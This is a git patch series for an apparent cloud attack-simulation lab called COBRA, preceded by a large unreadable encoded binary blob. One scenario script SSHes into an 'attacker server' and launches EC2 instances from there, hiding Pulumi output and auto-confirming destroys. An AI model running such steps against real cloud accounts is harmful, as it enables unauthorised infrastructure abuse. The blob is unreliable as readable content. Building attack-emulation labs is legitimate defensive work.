z%vl^%A!~FL{w>oU(35KXUBle-6-JadYe1;%E3(dTw70#DPLdrm-+pQ8yzD_NzekDW z#;7lDlYdp&)Dz(TBMf$`zB7&Lq`%5ZOzZ5b<6q5!*F@Hq8a%;_T$B1?8V;xm?G69c>azx5gXpN zW!#?0K{;h13T>@io_1X5PtxU!!8>j1d9sx8umH|?F-HtLh@kc4MaRj+Rz`AYaeNAs zDr#r^Hd6HMu`JWmkMXJ#VFL86TI3iLIkhqKZ3 zy9rNV_?8>oUz)xRSQ*tM7LZSN0%zD~x~pm|FqM9IaS84`D7H_#c0S*LMo-6HB-|zR z#7{iZmx@6=L*+a8ITm3fR?O@hiaXTG;SSkstj5maTRP#Xs-39FNMatlgy9W0=t7Bh z2@#KObpAVPnT`CZ;xJfkXjfo5)E|nrDrp9I^Zcp4T?LzB>KjURy?gzTJuZ=vNKx&w zY6&Zo6En&k4;W&^J{{l#nHu-+ChCvU7g;GM~a`ET=T&G}rwA z4yaxk^mwdfCYfH!oKL3;P1i{w@zL~cCnXL~(i`a>&CXFzbr$%Gv>CCGF*ezEm%O*p zyANlXWFX=N`JXg7?H60w>7U}s#30f&%wd2mTJwX%< z%n8R}UoRuKl{XYn>NmDo_(O3XA2C6u43+aGm5nYkzL$(vAJ=UQm_O|r&{M=ks?Jmh zT8m>RqX@>>2;?}!p z#D`O=>YNb*)mZjkQ9xXzv@wj;>}b)<>Vh2ITon6?pNp%nxW|cnpJvsTIk6{Bp<~UF zeRFMatR>+(u?WK|Lj4J&k}lJwXE4pTZjd0g3~;}#hU(&_^g3=kFeT7O&0H|DqNz}g zm{6;pyx|4QF?2t4*y??+D=l9P3%I@SmjBf0e;2TLSr|4X%9;N*EKO~#Kgsb;52m@iy6(;lH^mC*-g}P;Zzz-<3 zjrI2cf4DTHCIBlmGA=A3GgN-XV#Cfb%*w-22qFsbzf6(Z$}?m1B;uf)ohJ7x8YY-0 zWHxMg4UN^SVXQYeAm~B)N=ilaeKZ6b8ku_m%~`V3T++gVB33rv%yb1pNR+FX|P6bkH9HvP!p_k9>3GCHnCKWm!Rv|0~R!81)E37W$_7yT- zfx`}VxJe|El}cVlPb5M~%;n`x)*R%L+1d8s`fGXudTU{*XD*#1{d|9ME@u+py)x@8 zhpbxt$P=!{RQ!?J(6oQ+gEzh)Vi&X4R+EDW6Om~Xlvh>Idv{Q%#1+fqh@?O0ZjrZ) zF)P@plXNVLiUw2o&}76@t=AYVptd~LKVwC&H85A)QVVJYPzjNjK0l1{>GagG;Rkho zIs%?)T!fZABscIxU zFr?{^sSj(|g&IS-V=MTdQUK#fFsW1U042>uup zbS*E0zR_lUE!xm^nU942DIH%prFC8%e~ba+1n?A3Mq+$SbDC+a+Qs@)X!8U6T?>gl z0%#&`zyVysfOUygQ=b|2Y#R1^yP#fyQh2RC(=X;DjS`1Bk+;dl??~=YzsOq8*aHHP zeGmz*XuG#tyf;tNZL!cJqgsU(01vF&Wxi9#zN$VaovYfPC&IYuX?7d= z+%!`wlvP-TkbAr*o)NaZI8Pm6lbV(nhq0K&$;}lcVExywA%un(wA`zZ69xN(xgjO= zq_Q?Y$Hjl|L^_EHBUs@My3DX0e`r!`M?6Ii%PAbN(il;Vna^hetD^dVt6w|^geA7HCk|A^B~xECV*N%l+K|N z+-$e_i!nqt?$Zw7aZD?C=?WDra?3F0%%h7}+8+D%$ihtwAmQe64y1kjxcA({YkGN#|U9v@4AcLsU3Qfhj|e77n3 z8$0?QjSWz`alc6w??U=rY|zKoof5dKJgf?i3YQ3IFch(ub$GN7VQr23%{)*3FBfLx zw7+NP3KusQ|1O4&J2#yx5kRLMjanScX#Q-esG0+H&mdZtwtK1t(>P1meueys4quNW zc2SQOX6hBVv0IiB3lawS&*K!_P+fRx@Krg1lz1!-jm5d>Kg8U&ubyi*6ty0qWy2J- zO04Ug1ZGY=0kpf|Z-spN53P7RL;A|W$L~})mX{rOkItojWVpJ`1pb=QK8Q|sdy;Va z5q(NVp>JEA7}nURxKrBmxzdkS!MSSR907#e`gkZP_3Oa3rEtWKXk+HNEY&uow%6Hz+$yG0jyKjoi?OBZ;4(L z@)dK5=uT_akaXwbV(Vp#)7^Fx=wdfY7}bSv#i5KOGn;!%Q&nBUvgH@IPU#2m>UZ5J zV@ih=z`fgOIr*?iZ>Ru?1fha)y%0X9Mfg!FC4MY#L!mc2J2RxVUfqoA_I1*>f|@|F z@63_vVA3fI_M>=F;Rk`B`ZdYvaRj)T0C7`Z0k)?mzC5M?HEtE|f)5GX_{?~54}q}v zPYeAX5&?u?Mm0vArrR392U(2F=&P4xwS+Wn6IW0}X_d?r?sD#KM+1XHc@Fg|MT}Lx zIC8%u>9N9;S_=`=S$h5r3MG$q4SZ)&3j|P%QpZ|G0a57-D(Z`*gcYt8D}Jim@N_DN zpMb01K>@N@HivSmOhk7)(r^TT*GphOxX80&jL1?2NN%h3Ko1L*^qmRRmG6%SKSwJF zt*SbOc!Jf&Cgf^$0`o5#k9U8*Sw)Z~kE9K=iZ43W-bv`Vm_ZPZS3B(v24s&)ps{#poYBd&&r40pfa)lUQbZ`g$_Sg?uZmL!sc7F#4E0r92frsE}h1qcs-3wGGM z-TOqfZQM_clf~;VwjjQ%of?oce*nHOcHd)(XSVrlD|dkeCuE_CsOx;^Q|YtUfd?DQ z#_i<304Kll45~E9;1e+>IAU>JHQn2BN*9}c176+F=aKc`4iZ?~Z`6JO5??sDJoCF$ zs0X@`i!f_hu4}O>R23A>aNhCzsv)eaEQI?dt)sqQ^YJzD63%S0DBj=LDd$N(cNBfW zV)~}Gngd@Qr6aCA{7Yho>k;>Dx~#Eie-#u3L%X-fFtB3J)$|^9*o=g(hhQR3XWDZG z0Ljl~QScK3RTEFiwrCG=)xP5g%X7{1QlEXi<1HbeTdt>iT2Wv66XwV2-zW@Q;d%n= zZ7r+Pg`#_F4CIEmEjceij+KQ+Ufj{OwkCix+)LwV+;^5e9S)Dg8}Aps`z;^WVpPZU zNZ(#uI(+AVrqC#>Mi|bLBx?)wJWzuLsenI#A)ee`Mojn0tJlFppc$Sd?ehFkh3m@4c>4 zfMa{@qs^)W`N8K!v~FVVdHb1zRtInJK>gcj)7D@6e&Re8ge<+sx!LRj$8Em32cpxM zI3nv6JR;{jL9G@2ZPDM4+Mb-DM4yy)1})C@z85jhV&yMAQah2e)znCT_OBO)MPR27 zt5=KWkEoIEc$Uk0=K$^y95SBOtHtjLe+WgF6_xM%Ys_!0b__2-J(7gX z7=x08PahRPM) zxD-8$einB!VE(H(y}1JkA@IAjtTWQp-Iqg^q#76T*V) zWXw}U?dX?a>|*KirT+OZDS_A!$ zYlK9Gl<%TMFaYtBoreDf(LJykIa?LsAwja5fMf-=IgV(rjk=oq4?3oS|6?l(${0ZHAE|I~zGymWjE3<95>g zcwW^MTWMHr8(abMr(gMxlDb^uqiU>k|8TY2)k-PhBSCud~$ z_jO#lDYLi1436|Mjx@{J2dx=mdj;89?bWAvV^mQV7{A-N%CZOxE@lzX4I#iKxsR;K zqRO=9jrdPy9Mj7**w}lTJ(OPcIBa0uXfL8k-|w(|as8qQ$J4H$IiKsZGhgzu72!7| zRk*4j{aS7DGd62LBUjMxaFfBS`kqbUbY!g-i9NN`{I?E^YAV{>!p|4pNOd$+W;xn- z+pBb$`b&jWzU~y3fZ0AYF+k$-bK*`O4d(A3TjavT5Z;PaZvrQxd>l!&D;TR)O9@cl z^*iY{|2&w+GCLE!pebE+EY&t4V<0AH(CTwU7*7vm<4t`0d^M)}(kq`pXaNJTA$EGJ zDcgBiX*|B%OI3a9R@iU(#dcD7u`4;k9wbnz)H)qnb|$QMwO~dLTWzz0lER<&sH9&f zS-5hHUV$g`Oj+=W39mW@sbXXTk}_5_x%{2*5lxd*fC6asd;uc6J(3Yuw83cH?=`5L z+p1}>7S3AO)&1Dejx1^(**;_Jr?bP};m;lJ8{=X9wG7+Q61Ffml(J|itNzz%oh!+V`&e}5Jmy*2hlh)Jj_J@^+0M7l! zi$^+LtZZMZMPXngA!*yF?=8#gmk=Wl(W?6$M^P_p>oW_PT0stnJgqULn}+YQAk4AM zWPvtjwP;GtB>gGJL830hu$-7xiAA5M3FmhBxHJh21-DEGvLcG8fF+J?HMy-c)LO5b zv+PCey)krZ$*{N_v<-lHYf3`4w`==}Ww5jC?`incNsolGI6x06KOUF59DWd2P+A(} zBdmI10Sa@1R^UWH&1=s;3>iM3+-BJkGp56H>8vp)K~A8M=HTF`R<3z_Of{NjOK0i( zKqRy`W@#o}x zSyfVf3YX+mnWj8Jd@Ta%rl6*oB+|KFW*7WWUC}&x80UBtb@3hRIcg;=@%JrP zpiDfe2>I!H8kOH7wc<}Rs*1rd*4AG*N3wjjtpGE1$)P$UfabY(_?3!U@P3_jD9*SO zekP;U5O4b;H|5jB47>Uz#EfhiR$JLIAu1AQDr7l!Ky4u}Ymh+fwC9>VoV3c1p~pTS z8D2?5bdy+V^41-%QS0SKq0B_&MlP3%e6U}mpiwS7aISKp-8o+FY!4a8$i3bj_Zw-# zedU^S_eeW?*s8e8^V8g)o>iy_T zHhIN|u)E#-&+*P=^QxSvLoD-shI*Q$%Vb9NJ2W4Lc_)H^jn380h}7yeR@3Es;3|*O zTkDmc9lHmXJfKoi=lJo@tw;O1-G@{rXix_|DJ-z!(5nUX?&xTB;5dY_(H03n3b^Yu zE!KFJMpflKU-hzo)0H!`&wt{1`B>?v-*ePX2lL}1+zQV&CKCyqnu^{%Owp%+nDeal z+G$^lHIEuKd-l6x-jS5{&SV$1{<>_=skJZ?`hfoh^ zFVBvzbyOMD=IQ0RUL7V8RbL;NpEE zJZQ~!f*O7@7@4nH`{r34Tqv!a&gZ*T5jOe^bPSE(kN@m+Gc!L_a(6Wz&;axMZL*$U zxSu@5)H>xU9h0Y8DK+?x$|56I@-k9r%;X_6Sho;V`Qv+sZmsJ^zZTv&&G|G%dsc@( zV1ZB+>i>vJw(OT*)lZ9b%3@YqWtEpLARxJ;aM0B(?2tXb;>Y60XEabMiP7satPB{_ z6a=d`n_1dvRm}HQ8svDOFS$!uxC6)Ypc#ynccwT_? zrE+654nB6A)6=HMAb^calK2NCGo$sSPoTI+w*0DH{-n`K1=VG-i@8%!Oj{SDLbt+C zK|!s=BEc^B^@3GiC|b%J0CTkhAr+`%sIz@{)|b7`KSPC7r*k6X>^_e}CO@q+Al;~Z zeXaIyPXh$2Z>3d@TeA=U>FMhm__q)J$gbV9lVj%C%GTJ53Nv9hV`uXOhL;&Rzl!ox z06r}`Li^?4qIII>WDSgEz^Sc8RNK-}!s=*kjh6`pvhq>pA^>(n0mXsph_)3kk7yFmQHs%PWvPTuP#~dPp9PCz(*_9u&+>gkfWLqF;%Csae;Sd{ z|96eFDYno?f>xDS-T=#iW@3&>2HQjE5mLOQ28O_&iykFAbvisq>(Qh8wz3pGO)%%d zc|#|*p^I^A{Lk9Tt88vRv5N0`t*2Ktqk(YV)1-B+#LolSZSrYfslu$<-H@OOz&Pf` zb&TJ*-t~f2?D8H9Kl9{V<(Lnvxfc;#)4i2I#wZYOgr zKJ7J0@sWFs5>OYFO;s2=y%%`hMN*{PA9A_&=`;#{a7N(qYpp4on*sc1rEweWMC2pQ zDS$-oh+v^NSa*Y*dBJTB;P?XguWR4I+Y<0Hu|}{gWB_t#(CT-^m0T}+#2eX+R!h?r zZQ1k297gVx*01h)4&uu_hE@OLAAyr<;Ss5IiAR?T>U^(A3Qb>6 zuD9LUk?$JShY8dMuuIG@_dL`o=0huBqFx_@1iolQkO_nR_T3iFHhffHuQM-Kbf?#p zHdmpgtwry;7zb`6HcoLywAN2K=>BI^#I6K(1sfW-k5IT5FFi;{{vgUp9!}5B-{TC%Fqv@NI zCda|zs{+g`n(B3Vb)Rp%hCY|J*+yYjqyO@O8l5}3pZu&L4ZgA}#+Cn7o|(Gt8&~~J zMs$ez;vWl~rF<835*Qa9r+zB&P#m($^91ybDi`!FlH{5H_b>AL%B#_VhM*(1=~D#I zj`$s>%kx(lf5)tqEv|Fo`TH3+CP5cK;22b(0gwfXl$~s~E`F9EfFP3p{To#_d$gw! z0tj^jdqx%k^s;oHSL)0E@&hez3YUoh`GOB3>}`;M>|drRD%eQY`yXGQK^U^1xjZlC z{M#nKr8cRUH*`E8EsN-9`CI4}W>%iJ30D03S9@ z2hQ!I&qi@+0{!z^A(wUklVJh3DjK4Z=AE$JhE0=ee~xXD)Lx;J5km!*^_$p`*e@%VIrSpzmY*V|uhs3aL(~D~E8B9#= zAEGq4bY5&}-u>oi);iYU1?mxX{yy#}6Hxwjn zr+t-u4-*RyKN4i66<9#EVtR-SP1~=)4_mGM!veAU&p@3DAVwCRiu|jE8*5ke=LrAl z3I}GL-Fmv6$W);25qx)qLsp0C(DVZ)d3ikED)uDxsneSS8Qb0A-xX_uT9JIg|3^T=T_zz8D-iXBnf}yL zEciW}F$)Y2|4DE2NA#o-Z5oZk0%GDn0z(bl3P~17pNOMEiVKM|p?J_>2am8ttgntF~{hnigdIB& zn%b$@^uiP-rN50TX#iZdz_gSyqjp{LJRhkWr%E=B{AUA4=;H8^6;c1C_PkruTS5oT z%ggP-y!%FZ_0v`lnO==J;efby!tqTb1?msgRQa4KJU;^d-2S>UCiw5wl?O7^QHFROGW=KXBrSNw@`>+J_P_W?Htf(z z=sTJ>Ai$~7!C{;`W1dW}Z`wHM^;*^<(!yPyejng2cqXP%xjcDI?+!+RjpO9>{gTny-y1eF;x2iQ`@|pk~XfR)XEpugo^FX(&|;R3}7p zm|*`|SJ?)=6TVmkC2ho)?uH?jJUOiBr~bFi#3kyAX;GUCy?JS7sOPaW$ncWW`;P6; ze`0lB09O>9?e@xqF&sBveFpf{1>jSg|BFWcJ6l7oG1{??cIl+q%fF04j#1|2W6 zrRS(s`W=<7voUz8``SJgL(GzRkh}F+j4B~Snz{jB`)KVTg-zpiJSPA@eHxlpIKW>g zYhzsZ_BycS;25J?fFu3a`Tz#w|K2A2|5sxz7fdAJw%+B8^sBkekzf8Ow@vpJ;cOUu=P%rGk5ZrfGMo2sgfu3{Qty8{{N&0 zeSde(Lp!!WEr-AltRo|WGyBL|hvul-JuBvs#=B4;x9QhP6q6RZdyqTbLX+Ab5r2jn z=G-mwKls+f_amiVN(a?e>?fLWB(S*ACo)gnV?R)Fe>&EFKx!k3fuq*nhyzoG08RxMw4 z@giYfNFSL&6Hq$so^8OdS~vEg-|&EEQ+cOPf7Af)$-dFd0X$$ZeC{x@>&d16 z02#w$%rEdA0_P?_v8ZH^e|)3wJD0+7&^%WiR)*ZdyD33a$$A5us#CZPoI{FIIf zi=igwCWGUb?_FpL1}*NbgI}kcAI`Hk%c2`LO24DGM6PglxmY}UYtR@BpEkI*UKBm!c}Lk%>K0JWeu)we`~BI+)P>%dYkle z#AwXU<4p*A$K$t=P*Q&SjNf!6qy=8Z1`p|Xhz>{6Me`DTp2ANYkMaSE`?A$;dYThI z_x{+RxZ9HNE?AKA%Y~U9%~`BfsN6n9u1>3qhRJDA<9}*ymBzsX3HrvnVc9*%S~;18 zq7QJ=HmWdCbAQog|DwyC?(;TgZN!cNRgNB3&GV4X=b!O)x?~Ajo4D5l4ha~^)Zjgy zx`Y|0Vrk`&oqw4wbk?9b$csHKMKmm*6doKcjsDIzZa&I z@DnciHc5zN$IAj-6lk{j=tn~BOSKM?$YI=-Vr^szJ;W{3+!86s6aqW{5s6o{jsR(R zhF;&vSHSNH@qORESClnAq{b<>lz^wlNd07{$odF%d-s-w*+k|`T@G~(($IWfp9*dj z{n~GdcJH0%McD9>(lf_LpZD>~RFGNC36{w)zlfZS(YPb|>nS<{h9B*{9~)3vYzYe1Yk=k*UUY&iPO=H|q4X7ahpJ6KZUi@ct=Uj-lA=+NN0 z(XLH~!UuI}_Oe-nktZ^U@Yus|An!j3`%26{JSAZQAOMtc>R-rMRmfjtI3tDb=W@06 zft0A0A4XO!Ny6Ddx3#%efq3STa=Mb#tA2)>u3);tN8fJFk@QH$_Ka(rXkKIW{bPq> zxxgVs4N1QSS8%2}9o&1?l!pRxWf!+JGImJ$upvuXDY7r!A*j^+FOfXF+Y%qjrHI%e zU{y^%l*zCoZj>)s;l~m*C9Hz5W*&;e4VJf(kNX*1y{gr?{xvnB{Ziu(Q5`|COP(yF z_+KpQpZgC}^^&CgzVTTK(F|#A)>sm(f|13#$oS;0<2+q|q~Wje8*GS6>mEDRO?C;a zBlZ7TQ`|PoOAk{uH*e*_Uyo;Yakda~Sr-oG2LS8KDblEwUXF_6R{wLI(9MJRgO^BnyAZ(XHwIRpYu- zc~D+-b?SyPchBSa7U0<9CdT?2OTevqd6B4Fn!>h38k-Tn5{QW3kPA)UeYl^CuUX$(XD!61VKUPHrF> zYwCwg9pnDD5;>NS+Hz@79p1mejf4YRi;diHvd$>9#5mmy1N4;%)xe(@{Ehrq)8kll z^1GOQJo_;jvjaaPs^OIUwT^+-3vnCLo>W1s!L9bT@M{Xv^yqVk++Ew9Lf@A|y^e zKl*W*9^(%idWw3^fO9n_l_A5h6xHG8vd6r0G^zw=A`0?6kfU6mXm-8qY>si=K5_3S z18)%@ljpAXScjine52+Ev$P1in`E9hq-ku|5lF-aldQ)QXK{Pp$hHingvrS%7?e$M zH7CqUmbp=ik@s4ISF2;v>Os91R-_ao^8owxY5sp%Pfzz^lb|9o6` z2GRB-g&l2-=%q zi=#7srAcH(7w}nw0B&rR_fz@<=bO~#wii!k5=tS2x0h*{oLNuHQn5cry}@?^MgP7%R}Q6N^3xoxS<{H#jWcQ6qrN#mqIotSI!Qa){QoGG82vLzM|_}&m|Qo>ZRpsZ1?*te2( zCOYAFdCOeQrsdzUfU*k?M%tygY+Z(QNYW5Ow>?o-8L-l2C=PMg7S%+VN0tflBZzE@nTyp!gkw>;q(P8> zgaYRY;zc>UMzX%-+lDXnN3LivDvVMGBoO>b`>EIGM1FIvh7Grw_a+&D1TXUMs=2v5 z_2;x!tL99Bg@kcZd;RZ_t>kf<{q|6E;EYLU?%E-D-L@rpLqL+et%r3L*tUgK#vpJi zR@Q)bf76NEGeN}Wo`?dHq^(@YU~!TP1IJrX8~hc~bPMgF0;=Zjqn31d$Ti;F(t3pq zP9_U(Tqt<&%ULMo5+x4y35T9DGKq>uYMQyUdK}9q(6vchm2IpzM2`&=)+6UGNIUsv z&jVQHhffUz?QSzRh@kU@O}!eVuAEV)b3$#_bDs{s+PR%C_J*z0t_r(f71L&1g&Rxe zUZ;IN#mFoIO>jGRDTPo~A^kKOQenk4lgp9x@IOD8YQkUC?DkY;%aF-4Ka&12@Y!e^ z=EfB6H`A`*WbDDuvl}PeRqXQAfC@_JgUUJ~Z&Y>GtR#L?Y&0_va9({O&^5wj>jQbW zO7}=Gg%tE;_)!VPR>< z;zrmxbeUS4Hb*D$_1+Eyo2ZO9@hvw$1h<&kx7U%R8Ud6!LU-;iLv}Y4%#snItYL~A zoer6d>$~~HVHqO)qQl#$c(eTI4y&M>!pUvtCu4v=?vZ*h!^_At#Ja#TS9nBL737FT zztsgl^aFlX-&)o7gA2sk`c15_^0me_$UTMrlPg`fA-PCTS)5U@iWc7sShFe1`C7D2 zP$ri9s7lLBnlU)3C@Wygc<*A{$YXEUHLr_sx9*1O%&o*ib&!=gT>$lgu$|_E!ggW= zNW@{|7UgxGJ#;LMY4Ap5^m8t$=i2NaATwA{!Gy4m~E}T(JXRmDFh9w{K}!zW#2ntXu*ZGl2q-$ct5~ zN2zFv$*DK!06g{|_M`{azBxnB}zqUyeJi&R5!5AIrBRos3z$A6EY$AfQOdNs4J; zn-Y9JC>e;j)px_-aK4n@`F2%^;BEo<4h~FQPx6#o)}~+catpy!WNNk7*cKAUR3Hn& zyN2~^IEZ82SR2^i$Ld-4K*q-Nt=HY}))C+)ExLW9g#>Cd zLLT2^hjUqmCVK?`0@_HS~0mk?7n8$fjjTcxZYEWg32?Hg_c3j`4N$ow2Xau{5J<+|sgiJbioIwIQ=(RvVR!?@u`0Bn8xbm0}%(2=hPK(khB$Bt-5s+|INWeDiCfqP9Idr<7u4?;J-dyuQib7t`$b54I> zXb0RMz!dY2Z$rEs6R~{0r@c24p8A2GyY`}x2XxLX$O@oFbkG~`s-0sZ>uFOJPTYUZ zFc~T+Us6XfqI1T3Jk0yFM`K~eZ~%`*H8Pxn8H*ej)d51UiHcwPZuT-N9x1|v+c7XP z8HfLleid6}-GSVFh2-e;*K3YXSF6GkJsMuZXmhP4U0sO)k6Ar$Jg6yFofF7Arr_zk z4P9^X-6W7=me6w#3||XFMzu0S0I}Zvct1*kbY=%E)YVjmu6Bi}q6*oMmZ6rL&R=AL z=V}}nEJtKq(kEMpNVoukcFbw)1pZ?5rmA@tc8F8+sax$Ez>UWPFD3TYh`s@NxtYF& ze)mA4G6pIpCIC@q^{Y)IGXt;w7{W1>06^CVe3G`$6-ogvspIgwgirU`6I8yRm)xdU z5e)FtKIuU~N&*O<{s0B4&oCLlESljR9c3W4pkO+HX~vkD*dJr!EIMBY%AY(#K;ro4 z1r0z-ng{va0mP-Bt(xj02bl7TK;reI#Bppr(!v5e5O{!LDb0BnvZ(P1`#&ss8USizARw zUxJn#NXFGtR)rdhX^^a5f^?i*N!xWVtJc4gV!V-nnRd$Ydh1?JGy}EG!u6JMuWln3V9LC|cEa^STx~p;{wdeEqx37L=J;gtIRK>@>>EtxFhH9p^7M aBH&+2C#q(|)khJ4kDQdUWR Date: Wed, 10 Jul 2024 11:27:09 +0530 Subject: [PATCH 45/76] updated report script --- scenarios/scenario_2/report/report.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/scenarios/scenario_2/report/report.py b/scenarios/scenario_2/report/report.py index e30f3e1..f860e2e 100644 --- a/scenarios/scenario_2/report/report.py +++ b/scenarios/scenario_2/report/report.py @@ -165,4 +165,4 @@ def gen_report_2(API_GW_ID, LAMBDA_FUNC_ARN, API_GW_URL, LAMBDA_ROLE_NAME): print("HTML report generated successfully.") - webbrowser.open_new_tab('file://'+ str(Path.cwd())+'/cnbas-as2-report.html') \ No newline at end of file + webbrowser.open_new_tab('file://'+ str(Path.cwd())+'/cobra-as2-report.html') \ No newline at end of file From d2daebacc2081d6e30eafa1ab48a71be1f1c180b Mon Sep 17 00:00:00 2001 From: Stephen Gordon Date: Wed, 10 Jul 2024 10:02:16 -0500 Subject: [PATCH 46/76] fix issue 12 and some other QOL items --- core/main.py | 6 +++--- scenarios/scenario_1/scenario_1.py | 29 ++++++++++++++--------------- 2 files changed, 17 insertions(+), 18 deletions(-) diff --git a/core/main.py b/core/main.py index 22dbdfa..a2c515d 100644 --- a/core/main.py +++ b/core/main.py @@ -108,13 +108,13 @@ def main(cloud_provider, action, simulation, scenario): elif action == 'status' and scenario == "scenario-2": subprocess.call("cd ./scenarios/scenario_2/infra/ && pulumi stack ls", shell=True) elif action == 'destroy' and scenario == "scenario-1": - subprocess.call("cd ./scenarios/scenario_1/infra && pulumi destroy", shell=True) + subprocess.call("cd ./scenarios/scenario_1/infra && pulumi destroy --yes ", shell=True) elif action == 'destroy' and scenario == "scenario-2": scenario_2_destroy() elif action == 'destroy' and scenario == "scenario-3": - subprocess.call("cd ./scenarios/scenario_3/infra && pulumi destroy -s ", shell=True) + subprocess.call("cd ./scenarios/scenario_3/infra && pulumi destroy -s --yes", shell=True) elif action == 'destroy' and scenario == "scenario-4": - subprocess.call("cd ./scenarios/scenario_4/infra && pulumi destroy -s aws-scenario-3", shell=True) + subprocess.call("cd ./scenarios/scenario_4/infra && pulumi destroy -s --yes aws-scenario-3", shell=True) else: print('No options provided. --help to know more') diff --git a/scenarios/scenario_1/scenario_1.py b/scenarios/scenario_1/scenario_1.py index bb463bb..5d57277 100644 --- a/scenarios/scenario_1/scenario_1.py +++ b/scenarios/scenario_1/scenario_1.py @@ -30,8 +30,8 @@ def scenario_1_execute(): print("File '{}' found and deleted.".format(file_path)) else: print("File '{}' not found.".format(file_path)) - subprocess.call("cd ./scenarios/scenario_1/infra/ && pulumi up -s aws-scenario-1 -y", shell=True) - subprocess.call("cd ./scenarios/scenario_1/infra/ && pulumi stack -s aws-scenario-1 output --json >> ../../../core/aws-scenario-1-output.json", shell=True) + subprocess.call("pulumi -C scenarios/scenario_1/infra/ up -s aws-scenario-1 --yes", shell=True) + subprocess.call("pulumi -C scenarios/scenario_1/infra/ stack -s aws-scenario-1 output --json >> core/aws-scenario-1-output.json", shell=True) print("-"*30) print(colored("Bringing up the Vulnerable Application", color="red")) @@ -88,27 +88,26 @@ def scenario_1_execute(): print("-"*30) print(colored("Anomalous Infra Rollout", color="red")) loading_animation() - # subprocess.call("ssh -o 'StrictHostKeyChecking accept-new' -i ./id_rsa ubuntu@" + ATTACKER_SERVER_PUBLIC_IP + " \"aws ec2 run-instances --image-id " + AMI_ID + " --instance-type t2.micro --key-name " + KEY_PAIR_NAME + " --subnet-id " + SUBNET_ID + " --region " + REGION + " --tag-specifications 'ResourceType=instance,Tags=[{Key=Name,Value=" + INSTANCE_NAME + "}]'\" | jq '.Instances[].InstanceId'", shell=True) - # Construct the AWS CLI command + aws_command = ( - f"aws ec2 run-instances --image-id {AMI_ID} --instance-type t2.micro " - f"--key-name {KEY_PAIR_NAME} --subnet-id {SUBNET_ID} --region {REGION} " - f"--tag-specifications 'ResourceType=instance,Tags=[{{Key=Name,Value={INSTANCE_NAME}}}]'" + f"aws ec2 run-instances --image-id {AMI_ID} --instance-type t2.micro --key-name {KEY_PAIR_NAME} --subnet-id {SUBNET_ID} --region {REGION} --tag-specifications 'ResourceType=instance,Tags=[{{Key=Name,Value={INSTANCE_NAME}}}]' | jq -r '.Instances[].InstanceId'" ) # Construct the full SSH command with jq and xargs - ssh_command = ( - f"ssh -o StrictHostKeyChecking=accept-new -i ./id_rsa ubuntu@{ATTACKER_SERVER_PUBLIC_IP} " - f"\"{aws_command} | jq -r '.Instances[].InstanceId' | xargs -I {{}} sh -c " - f"'ls && pwd && cd ./scenarios/scenario_1/infra/ && pulumi import aws:ec2/instance:Instance Cobra-Anomalous {{}}'" - "\"" # Close the double quote for the entire command string - ) - + ssh_command = (f"ssh -o StrictHostKeyChecking=accept-new -i ./id_rsa ubuntu@{ATTACKER_SERVER_PUBLIC_IP} \"{aws_command}\" ") + + # Execute the command try: - subprocess.call(ssh_command, shell=True) + instance_id = subprocess.check_output(ssh_command, shell=True, text=True) + print(instance_id) except subprocess.CalledProcessError as e: print(f"Command failed with error: {e}") + + + subprocess.run(f"pulumi -C scenarios/scenario_1/infra/ import aws:ec2/instance:Instance {INSTANCE_NAME.strip()} {instance_id.strip()} --protect=false --yes --stack=aws-scenario-1 --suppress-outputs --suppress-progress", shell=True) + + print("-"*30) print(colored("Generating Report", color="red")) loading_animation() From bfb211e4b51f3779c7a588f00a125e797ba92577 Mon Sep 17 00:00:00 2001 From: Stephen Gordon Date: Wed, 10 Jul 2024 10:30:32 -0500 Subject: [PATCH 47/76] remove extra .gitignore --- scenarios/.gitignore | 2 -- 1 file changed, 2 deletions(-) delete mode 100644 scenarios/.gitignore diff --git a/scenarios/.gitignore b/scenarios/.gitignore deleted file mode 100644 index a3807e5..0000000 --- a/scenarios/.gitignore +++ /dev/null @@ -1,2 +0,0 @@ -*.pyc -venv/ From bfbec4534b8eb2c2d0067abae6f81cea185e8ab7 Mon Sep 17 00:00:00 2001 From: Anand Tiwari Date: Fri, 12 Jul 2024 10:34:40 +0530 Subject: [PATCH 48/76] hide pulumi output --- scenarios/scenario_1/scenario_1.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/scenarios/scenario_1/scenario_1.py b/scenarios/scenario_1/scenario_1.py index 5d57277..ff5a563 100644 --- a/scenarios/scenario_1/scenario_1.py +++ b/scenarios/scenario_1/scenario_1.py @@ -105,7 +105,7 @@ def scenario_1_execute(): print(f"Command failed with error: {e}") - subprocess.run(f"pulumi -C scenarios/scenario_1/infra/ import aws:ec2/instance:Instance {INSTANCE_NAME.strip()} {instance_id.strip()} --protect=false --yes --stack=aws-scenario-1 --suppress-outputs --suppress-progress", shell=True) + subprocess.run(f"pulumi -C scenarios/scenario_1/infra/ import aws:ec2/instance:Instance {INSTANCE_NAME.strip()} {instance_id.strip()} --protect=false --yes --stack=aws-scenario-1 --suppress-outputs --suppress-progress > /dev/null 2>&1", shell=True) print("-"*30) From 7d15f03d44c7492c1278fb21d493b85aca987142 Mon Sep 17 00:00:00 2001 From: Harsha Koushik Date: Mon, 15 Jul 2024 11:10:20 +0530 Subject: [PATCH 49/76] scen 2 changes --- core/report.py | 9 ++++----- 1 file changed, 4 insertions(+), 5 deletions(-) diff --git a/core/report.py b/core/report.py index 5e4ef2b..3aea4b2 100644 --- a/core/report.py +++ b/core/report.py @@ -80,7 +80,7 @@ def gen_report(attacker_vm_id, attacker_vm_ip, infected_vm_id, infected_vm_ip ):

- COBRA Logo + COBRA Logo

COBRA Attack Path Report

@@ -100,7 +100,7 @@ def gen_report(attacker_vm_id, attacker_vm_ip, infected_vm_id, infected_vm_ip ):

Attack Path Graph

- Attack Path Graph + Attack Path Graph

Resource Meta Data

@@ -246,7 +246,7 @@ def gen_report_2(API_GW_ID, LAMBDA_FUNC_ARN, API_GW_URL, LAMBDA_ROLE_NAME):
- CNBAS Logo + CNBAS Logo

COBRA Attack Path Report

@@ -266,7 +266,7 @@ def gen_report_2(API_GW_ID, LAMBDA_FUNC_ARN, API_GW_URL, LAMBDA_ROLE_NAME):

Attack Path Graph

- Attack Path Graph + Attack Path Graph

Resource Meta Data

